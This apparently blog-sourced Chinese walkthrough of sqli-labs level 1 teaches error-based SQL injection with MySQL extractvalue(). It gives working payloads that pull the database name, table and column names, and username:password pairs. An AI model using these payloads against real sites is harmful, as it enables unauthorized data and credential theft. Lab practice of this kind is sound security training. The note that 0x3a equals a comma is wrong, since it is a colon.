# extractvalue 报错注入查询语句:

SQL注入模板:?id=正确值'and(select extractvalue(anything,concat('0x7e',(select语句))))--+

查数据库名:?id=1'and(select extractvalue(1,concat(0x7e,(select database())))) --+

爆表名:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) --+

爆字段名:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) --+

爆数据:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) --+

# 注:
与第一种方法不同的是:报错注入使用的 id = 正确值

函数解释:
  extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串)
  concat:返回结果为连接参数产生的字符串。

0x7e = ~ :加个波浪线,看着更加舒服。

# 检查一下报错注入点:
?id=1' and 1=1--+ //正确
?id=1' and 1=2--+ //失败

sqli-labs第一关--报错注入练习_xml

 


 

sqli-labs第一关--报错注入练习_获取数据_02

 

 

sqli-labs第一关--报错注入练习_字符串_03

 

 

# 构造 payload 来获取数据库信息:

?id=1'and(select extractvalue(1,concat(0x7e,(select database())))) --+

sqli-labs第一关--报错注入练习_获取数据_04

 

 

# 构造 payload 来获取数据表

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) --+

?id=1' and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))--+   通过当前指定的库查看表名

sqli-labs第一关--报错注入练习_字符串_05

 

 

sqli-labs第一关--报错注入练习_xml_06

 

 

# 构造 payload 来获取数据库字段名:

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users")))) --+

# 回显了,但是并没有完全回显使用 not in:重新构造 payload

and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login') )))) --+

sqli-labs第一关--报错注入练习_获取数据_07

 

 

sqli-labs第一关--报错注入练习_xml_08

 

# 构造 payload 来获取数据库中的数据信息:

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) --+

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))) --+

# 回显了,但是没有完全回显,使用 not in 重构 payload :
where username not in ('Dumb','I-kill-you')

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))) --+

# 注:

0x3a = ,

sqli-labs第一关--报错注入练习_sql注入_09

 

学而不思则罔,思而不学则殆